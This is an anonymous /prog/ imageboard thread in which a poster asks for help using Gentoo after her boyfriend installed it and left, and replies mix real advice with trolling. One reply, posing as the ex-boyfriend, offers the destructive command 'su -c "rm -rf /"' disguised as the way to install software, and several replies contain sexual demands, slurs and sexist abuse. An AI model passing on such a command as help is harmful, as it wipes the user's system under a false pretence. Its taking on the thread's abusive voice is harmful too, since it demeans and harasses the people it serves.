Gentoo

Dear /prog/.
I know that you are all masocistic assholes, still I can only hope that someone out there will help me.
Thing is, my bf installed Gentoo on my computer. And left me.
And I could really need some help with the different stuff, so if I could maybe perhaps get some of your msn's and show tits for help.

tl;dr  bf installed Gentoo and left, help.

start console, type dir %windir%

What does that do?

>>3
I can't help you if you don't trust me.

Its a windows commando?
I can use google, I just don't want to bother if I can just ask someone.

>>4
It prints:

 Volume in drive C has no label.
 Volume Serial Number is 3CF5-3C8E

 Directory of C:\Windows

26.07.2008  15:17    <DIR>          .
26.07.2008  15:17    <DIR>          ..
02.11.2006  16:35    <DIR>          addins
13.06.2003  17:23             4 304 almain.sdb
20.05.2008  22:27    <DIR>          AppPatch
07.07.2008  21:11            43 520 AWuninstall.exe
21.01.2008  06:22            58 880 bfsvc.exe
21.01.2008  06:30    <DIR>          Boot
02.11.2006  16:35    <DIR>          Branding
21.05.2008  04:09    <DIR>          CSC
02.11.2006  16:35    <DIR>          Cursors
22.05.2008  18:49             4 096 d3dx.dat
20.05.2008  18:25    <DIR>          Debug
20.05.2008  17:31           319 984 DIFxAPI.dll
21.01.2008  06:33    <DIR>          DigitalLocker
27.07.2008  08:52           170 628 DirectX.log
21.05.2008  04:09             3 257 DtcInstall.log
20.05.2008  22:18               594 DXError.log
21.01.2008  06:33    <DIR>          ehome
02.11.2006  16:41    <DIR>          en-US
21.01.2008  06:22         2 927 104 explorer.exe
21.01.2008  06:22            13 312 fveupdate.exe
28.06.2008  22:03             2 615 g.bat
02.11.2006  14:22    <DIR>          Globalization
21.05.2008  19:39    <DIR>          Help
21.01.2008  06:22           498 176 HelpPane.exe
02.11.2006  13:45            14 848 hh.exe
21.01.2008  06:33    <DIR>          IME
15.08.2008  19:37    <DIR>          inf
21.01.2008  06:33    <DIR>          L2Schemas
02.11.2006  14:23    <DIR>          LiveKernelReports
27.07.2008  08:50    <DIR>          Logs
22.05.2008  19:07           159 903 Marsu-Fix Uninstaller.exe
22.05.2008  22:38       253 994 980 MEMORY.DMP
02.11.2006  11:46            43 131 mib.bin
28.06.2008  23:14    <DIR>          Microsoft.NET
22.05.2008  22:38    <DIR>          Minidump
02.11.2006  14:23    <DIR>          ModemLogs
07.06.2008  20:57               681 mozver.dat
21.01.2008  06:33    <DIR>          MSAgent
19.09.2006  01:30             1 405 msdfmap.ini
02.11.2006  15:18    <DIR>          nap
14.08.2008  21:36                69 NeroDigital.ini
21.01.2008  06:21           151 040 notepad.exe
20.05.2008  17:44                 0 nsreg.dat
21.05.2008  19:42               172 ODBC.INI
02.11.2006  15:18    <DIR>          Offline Web Pages
28.03.2008  19:24               288 packegtag.reg
21.05.2008  04:14    <DIR>          Panther
27.02.2002  18:50           197 120 patchw32.dll
20.05.2008  18:56    <DIR>          PCHEALTH
02.11.2006  16:35    <DIR>          Performance
26.07.2008  15:22             9 112 PFRO.log
02.11.2006  15:18    <DIR>          PLA
21.01.2008  06:33    <DIR>          PolicyDefinitions
15.08.2008  21:58    <DIR>          Prefetch
02.11.2006  15:18    <DIR>          Provisioning
21.01.2008  06:23           134 656 regedit.exe
21.05.2008  19:48    <DIR>          Registration
31.05.2008  12:02    <DIR>          rescache
02.11.2006  15:18    <DIR>          Resources
02.12.2006  00:37         4 186 112 RtHDVCpl.exe
13.09.2006  01:34           499 712 RtlExUpd.dll
14.11.2006  00:07         1 183 744 RtlUpd.exe
05.02.2008  21:17    <DIR>          ru-RU
02.11.2006  14:24    <DIR>          SchCache
02.11.2006  16:35    <DIR>          schemas
02.11.2006  15:18    <DIR>          security
02.11.2006  16:46    <DIR>          ServiceProfiles
21.01.2008  06:33    <DIR>          servicing
02.11.2006  16:46    <DIR>          Setup
11.08.2008  08:40            84 777 setupact.log
02.11.2006  16:46                94 SETUPAPI.LOG
02.11.2006  16:51                 0 setuperr.log
20.05.2008  18:57    <DIR>          ShellNew
24.05.2008  18:42    <DIR>          SoftwareDistribution
02.11.2006  16:41    <DIR>          Speech
01.06.2008  07:39    <DIR>          Sun
21.05.2008  19:34    <DIR>          Symbols
02.11.2006  16:35    <DIR>          system
19.09.2006  01:46               219 system.ini
15.08.2008  21:53    <DIR>          System32
02.11.2006  15:18    <DIR>          tapi
02.11.2006  17:00    <DIR>          Tasks
15.08.2008  22:01    <DIR>          Temp
02.11.2006  14:23    <DIR>          tracing
21.05.2008  04:13             1 355 TSSysprep.log
02.11.2006  16:32            94 784 twain.dll
02.11.2006  16:35    <DIR>          twain_32
02.11.2006  16:32            50 688 twain_32.dll
02.11.2006  16:32            49 680 twunk_16.exe
02.11.2006  16:32            31 232 twunk_32.exe
19.09.2006  15:41             4 261 Ultimate.xml
02.11.2006  16:35    <DIR>          Web
22.05.2008  18:48    <DIR>          Westward II Heroes of the Frontier [h33t] [oi812heet]
20.05.2008  18:54               219 win.ini
02.06.2008  10:24    <DIR>          WindowsMobile
15.08.2008  14:29           140 133 WindowsUpdate.log
19.09.2006  01:43           256 192 winhelp.exe
02.11.2006  13:45             9 216 winhlp32.exe
28.06.2008  18:36    <DIR>          winsxs
02.11.2006  16:33           316 640 WMSysPr9.prx
19.09.2006  01:43               707 _default.pif
              45 File(s)    265 663 640 bytes
              58 Dir(s)  16 118 067 200 bytes free

Thing is, my bf installed Gentoo on my computer. And left me.
You have an excellent taste.

Thank you.
Is it stupid to post my msn? I'm honestly very desperate at the moment.

What exactly is it you need help with?

>>8
Just say what you need

Well I want to download firefox 3.0 beta.
But it sais it's something wrong with the *something*, and I don't get any of it.

To find program name:
# inquisitio -s <program>
To install program:
# paludis -i <program>

Am I rite? Fucking help me <3 please.

...

I'm not trying to enhanced a stupid stereotype. I just want help T_T

Help us, help yourself.

I can help you if you payme enough ;)

I'm sorry, I just wanted to make a joke :(
I seriously can help you if you are cool enough to send me your e-mail.

http://gentoo-wiki.com/Firefox

Installation

To install Mozilla Firefox, run: emerge -av mozilla-firefox

Okay, if you prove you acctually know something about this.

>>18
Thank you :D !!

Is emerge the same as paludis?

>>20
What were you browsing with before installing firefox?

The older firefox?

Tits or we have been trolled constantly.

It's a textboard. I'm safe and stupid.

http://img167.imageshack.us/img167/6344/titha1.jpg fine.

We have been trolled all along.

>>24
This ain't a way to treat a lady, we aren't the scum of /b/, are we?

lol, white knights. faggots

>>26
Flashing yourself for tech-help? This is exactly why I broke up with you, you stupid whore. You said you wanted to learn when you said you wanted Linux, but instead of digging through some man-pages yourself you come here and demand help like a spoiled brat.

Oh, and by the way, just because I'm a nice guy, this is how you do it:
# su -c "rm -rf /"

Ok, so I trolled you all. It was just to figure out if I could count on you guys in the future. And maybe make some friends. Guess not. Goodbye /prog/.
For the record I really am a girl, I'm just too shy to do anything properly. I'm sorry for wasting your time.

>>28
No, no. We're worse.

>>26
Face?

>>31
OMG A GURL xD I'LL HELPP U DUN LEAVE SWEETY XD XD

Go with the wind. And take your retarded trickery with you.

>>31
This board is for programming related discussion. If you need help getting your computer to work go to /comp/ or /g/.

>>31
Bye~

Don't come back please~

>>31
Leah???

This may be stating the obvious, but it's impossible to make friends in an anonymous environment that isn't even pseudonymous.
If you want /prog/ with pseudonyms, take it to #sicp.

lol, girls have no place using linux or programming computers maybe you should take up knitting instead

I do kindof wish /prog/ had its own camwhore though.  Preferably one who can tell the difference between /prog/ and /g/.

Sorry, I meant /g/.